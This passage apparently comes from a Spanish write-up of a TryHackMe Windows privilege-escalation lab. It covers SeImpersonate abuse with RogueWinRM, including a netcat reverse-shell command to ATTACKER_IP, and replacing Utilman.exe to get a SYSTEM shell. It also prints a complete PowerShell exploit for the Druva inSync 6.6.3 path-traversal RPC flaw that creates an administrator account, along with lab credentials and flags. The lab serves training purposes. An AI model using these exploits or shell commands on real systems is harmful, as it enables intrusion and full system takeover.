Hay varias razones por las que usarFTPEl token de ‘s no es la mejor idea: – Para que los archivos se sirvan correctamente, tendrían que ser accesibles para el ftpusuario. En el ejemplo anterior, elFTPEl servicio podría acceder a los archivos de Ann, pero no a los de Bill, ya que la DACL en los archivos de Bill no permite el usuario ftp. Esto añade complejidad, ya que debemos configurar manualmente permisos específicos para cada archivo/directorio servido. – Para el sistema operativo, todos los archivos son accedidos por el usuario ftp, independientemente de qué usuario esté actualmente conectado.FTPservicio. Esto hace imposible delegar la autorización al sistema operativo; por lo tanto, elFTPEl servicio debe implementarlo. – Si elFTPSi el servicio se viera comprometido en algún momento, el atacante obtendría acceso inmediato a todas las carpetas a las que el ftpusuario tiene acceso.
Si, por otro lado, elFTPEl usuario del servicio tiene el privilegio SeImpersonate o SeAssignPrimaryToken, todo esto se simplifica un poco, ya queFTPEl servicio puede obtener temporalmente el token de acceso del usuario que inicia sesión y usarlo para realizar cualquier tarea en su nombre:

Ahora, si la usuaria Ann inicia sesión en elFTPservicio y dado que elFTPEl usuario tiene privilegios de suplantación, puede tomar prestado el token de acceso de Ann y usarlo para acceder a sus archivos. De esta manera, los archivos no necesitan proporcionar acceso al usuario ftpde ninguna manera, y el sistema operativo maneja la autorización. Dado que elFTPSi el servicio se hace pasar por Ann, no podrá acceder a los archivos de Jude ni de Bill durante esa sesión.
Como atacantes, si logramos tomar el control de un proceso con privilegios SeImpersonate o SeAssignPrimaryToken, podemos suplantar la identidad de cualquier usuario que se conecte y autentique en ese proceso.
En los sistemas Windows, las cuentas de SERVICIO LOCAL y SERVICIO DE RED ya cuentan con estos privilegios. Dado que estas cuentas se utilizan para iniciar servicios con cuentas restringidas, es lógico permitirles suplantar la identidad de los usuarios que se conectan si el servicio lo requiere. Internet Information Services (IIS) también crea una cuenta predeterminada similar llamada «iis apppool\defaultapppool» para aplicaciones web.
Para elevar privilegios utilizando dichas cuentas, un atacante necesita lo siguiente: 1. Crear un proceso al que los usuarios puedan conectarse y autenticarse para suplantar la identidad. 2. Encontrar una manera de obligar a los usuarios con privilegios a conectarse y autenticarse en el proceso malicioso creado.
Utilizaremos el exploit RogueWinRM para lograr ambas condiciones.
Comencemos asumiendo que ya hemos comprometido un sitio web que se ejecuta en IIS y que hemos instalado un shell web en la siguiente dirección:
Podemos usar la consola web para comprobar los privilegios asignados a la cuenta comprometida y confirmar que tenemos ambos privilegios de interés para esta tarea:

Para usar RogueWinRM, primero debemos cargar el exploit en la máquina objetivo. Para su comodidad, esto ya se ha hecho y puede encontrar el exploit en la C:\tools\carpeta.
La vulnerabilidad RogueWinRM es posible porque, cada vez que un usuario (incluso sin privilegios) inicia el servicio BITS en Windows, este crea automáticamente una conexión al puerto 5985 con privilegios de sistema. El puerto 5985 se utiliza normalmente para el servicio WinRM, que simplemente expone una consola de PowerShell para su uso remoto a través de la red. Es similar a SSH, pero con PowerShell.
Si, por algún motivo, el servicio WinRM no se está ejecutando en el servidor de la víctima, un atacante puede iniciar un servicio WinRM falso en el puerto 5985 e interceptar el intento de autenticación del servicio BITS al iniciarse. Si el atacante tiene privilegios de suplantación de identidad (SeImpersonate), puede ejecutar cualquier comando en nombre del usuario que se conecta, que es SYSTEM.
Antes de ejecutar el exploit, iniciaremos un oyente de netcat para recibir una shell inversa en la máquina de nuestro atacante:
Kali Linux
user@attackerpc$nc-lvp4442
A continuación, utilice nuestra consola web para activar el exploit RogueWinRM mediante el siguiente comando:
c:\tools\RogueWinRM\RogueWinRM.exe -p «C:\tools\nc64.exe» -a «-e cmd.exe ATTACKER_IP 4442»

Nota: El exploit puede tardar hasta 2 minutos en funcionar, por lo que su navegador podría mostrarse inactivo durante un breve periodo. Esto ocurre si ejecuta el exploit varias veces, ya que debe esperar a que el servicio BITS se detenga antes de reiniciarse. El servicio BITS se detendrá automáticamente después de 2 minutos de haber comenzado.
El -pparámetro especifica el ejecutable que ejecutará el exploit, que nc64.exeen este caso es . El -aparámetro se utiliza para pasar argumentos al ejecutable. Dado que queremos que nc64 establezca una shell inversa contra nuestra máquina atacante, los argumentos que se pasarán a netcat serán -e cmd.exe ATTACKER_IP 4442.
Si todo se configuró correctamente, debería obtener una consola con privilegios de SYSTEM:
Kali Linux

Utilizando cualquiera de los tres métodos descritos en esta tarea, accede al escritorio del administrador y recoge la bandera. No olvides introducir la bandera al finalizar la tarea.
Responda las siguientes preguntas
Obtén la bandera en el escritorio del administrador.


Usuario: THMTakeOwnership / TheWorldIsMine2022
- Conectar por RDP: xfreerdp /u:THMTakeOwnership /p:TheWorldIsMine2022 /v:IP /cert-ignore
- Abrir CMD como administrador (click derecho → Run as administrator)
- Tomar posesión de Utilman:
cmd
takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe
- Bloquear pantalla → clickear botón de accesibilidad → CMD como SYSTEM
- type C:\Users\Administrator\Desktop\flag.txt
✅ THM{SEFLAGPRIVILEGE}
Tarea 7 Abuso de software vulnerable
Asegúrese de hacer clic en el botón Iniciar máquina antes de continuar, lo que desplegará la máquina de destino en vista dividida. Si prefiere conectarse a la máquina a través de RDPPuedes utilizar las siguientes credenciales:
| Nombre de usuario | thm-unpriv |
| Contraseña | Password321 |
Software sin parchear
El software instalado en el sistema objetivo puede presentar diversas oportunidades de escalada de privilegios. Al igual que con los controladores, es posible que las organizaciones y los usuarios no los actualicen con la misma frecuencia que el sistema operativo. Puede usar la wmic herramienta para listar el software instalado en el sistema objetivo y sus versiones. El siguiente comando mostrará la información que pueda recopilar sobre el software instalado (puede tardar alrededor de un minuto en completarse):
wmic product get name,version,vendor
Recuerda que el wmic product comando podría no mostrar todos los programas instalados. Dependiendo de cómo se hayan instalado algunos programas, es posible que no aparezcan en la lista. Siempre conviene revisar los accesos directos del escritorio, los servicios disponibles o, en general, cualquier rastro que indique la existencia de software adicional que pudiera ser vulnerable.
Una vez que hayamos recopilado la información de la versión del producto, siempre podemos buscar exploits existentes en el software instalado en línea en sitios como exploit-db.(Se abre en una pestaña nueva)tormenta de paquetes (Se abre en una pestaña nueva) o simplemente Google(Se abre en una pestaña nueva), entre muchos otros.
Utilizando wmic y Google, ¿puedes encontrar alguna vulnerabilidad conocida en algún producto instalado?
Caso práctico: Druva inSync 6.6.3
El servidor objetivo ejecuta Druva inSync 6.6.3, que es vulnerable a la escalada de privilegios según informó Matteo Malvica.(Se abre en una pestaña nueva)La vulnerabilidad se debe a un parche defectuoso aplicado sobre otra vulnerabilidad reportada inicialmente para la versión 6.5.0 por Chris Lyne .(Se abre en una pestaña nueva).
El software es vulnerable porque ejecuta un servidor RPC (Llamada a Procedimiento Remoto) en el puerto 6064 con privilegios de SYSTEM, accesible únicamente desde localhost. Si no está familiarizado con RPC, se trata simplemente de un mecanismo que permite a un proceso exponer funciones (denominadas procedimientos en la jerga de RPC) a través de la red para que otras máquinas puedan llamarlas de forma remota.
En el caso de Druva inSync, uno de los procedimientos expuestos (específicamente el procedimiento número 5) en el puerto 6064 permitía que cualquier usuario solicitara la ejecución de cualquier comando. Dado que el servidor RPC se ejecuta como SYSTEM, cualquier comando se ejecuta con privilegios de SYSTEM.
La vulnerabilidad original, detectada en las versiones 6.5.0 y anteriores, permitía ejecutar cualquier comando sin restricciones. La idea original era ejecutar de forma remota algunos binarios específicos incluidos en inSync, en lugar de cualquier comando. Sin embargo, no se realizó ninguna comprobación para garantizarlo.
Se publicó un parche en el que se decidió comprobar que el comando ejecutado comenzara con la cadena C:\ProgramData\Druva\inSync4\, donde se suponía que debían estar los binarios permitidos. Pero esto resultó insuficiente, ya que se podía realizar un ataque de recorrido de ruta para eludir este tipo de control. Supongamos que se quiere ejecutar C:\Windows\System32\cmd.exe, que no está en la ruta permitida; bastaría con pedirle al servidor que lo ejecutara C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exey así se eludiría la comprobación con éxito.
Para crear un exploit funcional, necesitamos entender cómo comunicarnos con el puerto 6064. Por suerte, el protocolo utilizado es sencillo y los paquetes que se deben enviar se muestran en el siguiente diagrama:

El primer paquete es simplemente un paquete de saludo que contiene una cadena fija. El segundo paquete indica que queremos ejecutar el procedimiento número 5, ya que este es el procedimiento vulnerable que ejecutará cualquier comando. Los dos últimos paquetes se utilizan para enviar la longitud del comando y la cadena de comando que se ejecutará, respectivamente.
Publicado originalmente por Matteo Malvica aquí(Se abre en una pestaña nueva)El siguiente exploit puede utilizarse en la máquina objetivo para elevar privilegios y obtener la bandera de esta tarea. Para su comodidad, aquí tiene el código original del exploit:

Puedes hacer un popPowerShellAbra la consola y pegue el exploit directamente para ejecutarlo (el exploit también está disponible en la máquina objetivo en C:\tools\Druva_inSync_exploit.txt). Tenga en cuenta que la carga útil predeterminada del exploit, especificada en la $cmdvariable, creará un usuario llamado pwnden el sistema, pero no le asignará privilegios administrativos, por lo que probablemente querremos cambiar la carga útil por algo más útil. Para esta sala, cambiaremos la carga útil para ejecutar el siguiente comando:
net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add
Esto creará un usuario pwndcon una contraseña SimplePass123y lo agregará al grupo de administradores. Si el ataque fue exitoso, debería poder ejecutar el siguiente comando para verificar que el usuario pwndexiste y forma parte del grupo de administradores:

Como último paso, puedes ejecutar el símbolo del sistema como administrador:

Cuando se le soliciten las credenciales, utilice la pwndcuenta. Desde el nuevo símbolo del sistema, puede recuperar su bandera desde el escritorio del administrador con el siguiente comando type C:\Users\Administrator\Desktop\flag.txt.
Responda las siguientes preguntas
Obtén la bandera en el escritorio del administrador.
✅THM{EZ_DLL_PROXY_4ME}

Conectate por RDP y ejecutá el exploit en PowerShell
bash
xfreerdp /u:thm-unpriv /p:Password321 /v:10.64.163.4 /cert-ignore
Una vez adentro, abrí PowerShell y pegá esto:
powershell
$ErrorActionPreference = «Stop»
$cmd = «net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add»
$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect(«127.0.0.1», 6064)
$header = [System.Text.Encoding]::UTF8.GetBytes(«inSync PHC RPCW[v0002]»)
$rpcType = [System.Text.Encoding]::UTF8.GetBytes(«$([char]0x0005)`0`0`0»)
$command = [System.Text.Encoding]::Unicode.GetBytes(«C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd»);
$length = [System.BitConverter]::GetBytes($command.Length);
$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
Luego verificá:
cmd
net user pwnd
Después abrí CMD como administrador usando el usuario pwnd / SimplePass123 y:
cmd
type C:\Users\Administrator\Desktop\flag.txt
Tarea 8 Herramientas del oficio
Existen varios scripts para realizar la enumeración del sistema de forma similar a como se hizo en la tarea anterior. Estas herramientas pueden acortar el tiempo del proceso de enumeración y descubrir diferentes vectores potenciales de escalada de privilegios. Sin embargo, tenga en cuenta que las herramientas automatizadas a veces pueden pasar por alto la escalada de privilegios.
A continuación, se presentan algunas herramientas de uso común para identificar vectores de escalada de privilegios. Puede ejecutarlas en cualquiera de las máquinas de esta sala y comprobar si los resultados coinciden con los vectores de ataque descritos.
WinPEAS
WinPEAS es un script desarrollado para enumerar el sistema objetivo y descubrir rutas de escalada de privilegios. Puede encontrar más información sobre WinPEAS y descargar el ejecutable precompilado o un script .bat. WinPEAS ejecutará comandos similares a los de la tarea anterior e imprimirá su resultado. La salida de WinPEAS puede ser extensa y, a veces, difícil de leer. Por ello, se recomienda redirigir siempre la salida a un archivo, como se muestra a continuación:
Símbolo del sistema
C:\> winpeas.exe > outputfile.txt
WinPEAS se puede descargar aquí.(Se abre en una pestaña nueva).
Verificación de privilegios
PrivescCheck es un script de PowerShell que busca vulnerabilidades comunes de escalada de privilegios en el sistema objetivo. Ofrece una alternativa a WinPEAS sin necesidad de ejecutar un archivo binario.
PrivescCheck se puede descargar aquí.(Se abre en una pestaña nueva).
Recordatorio : Para ejecutar PrivescCheck en el sistema de destino, es posible que deba omitir las restricciones de la política de ejecución. Para ello, puede usar el Set-ExecutionPolicycmdlet que se muestra a continuación.
PowerShell

WES-NG: Sugeridor de exploits para Windows – Próxima generación
Algunos scripts para sugerir exploits (por ejemplo, winPEAS) requieren que los subas al sistema objetivo y los ejecutes allí. Esto puede provocar que el software antivirus los detecte y los elimine. Para evitar generar ruido innecesario que pueda llamar la atención, es recomendable usar WES-NG, que se ejecuta en tu máquina atacante (por ejemplo, Kali o TryHackMe AttackBox).
WES-NG es un script de Python que se puede encontrar y descargar aquí.(Se abre en una pestaña nueva).
Una vez instalado, y antes de usarlo, escriba el wes.py –updatecomando para actualizar la base de datos. El script consultará la base de datos que crea para comprobar si faltan parches que puedan generar una vulnerabilidad que le permita elevar sus privilegios en el sistema objetivo.
Para usar el script, deberá ejecutar el systeminfo comando en el sistema objetivo. No olvide redirigir la salida a un archivo .txt que deberá transferir a su máquina atacante.
Una vez hecho esto, wes.py se puede ejecutar de la siguiente manera:
Kali Linux
user@kali$wes.py systeminfo.txt
Metasploit
Si ya dispone de una consola Meterpreter en el sistema objetivo, puede utilizar el multi/recon/local_exploit_suggestermódulo para listar las vulnerabilidades que puedan afectar al sistema objetivo y permitirle elevar sus privilegios en dicho sistema.
Tarea 9 Conclusión
En esta sala, hemos presentado varias técnicas de escalada de privilegios disponibles en sistemas Windows. Estas técnicas le proporcionarán una base sólida sobre las rutas más comunes que los atacantes pueden seguir para elevar privilegios en un sistema. Si desea aprender sobre técnicas adicionales, tiene a su disposición los siguientes recursos:
- PayloadsAllTheThings – Escalada de privilegios en Windows(Se abre en una pestaña nueva)
- Priv2Admin – Abuso de privilegios de Windows(Se abre en una pestaña nueva)
- Exploit de RogueWinRM(Se abre en una pestaña nueva)
- Papas(Se abre en una pestaña nueva)
- Blog del decodificador(Se abre en una pestaña nueva)
- Secuestro simbólico(Se abre en una pestaña nueva)
- Hacktricks – Escalada de privilegios locales en Windows(Se abre en una pestaña nueva)

Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!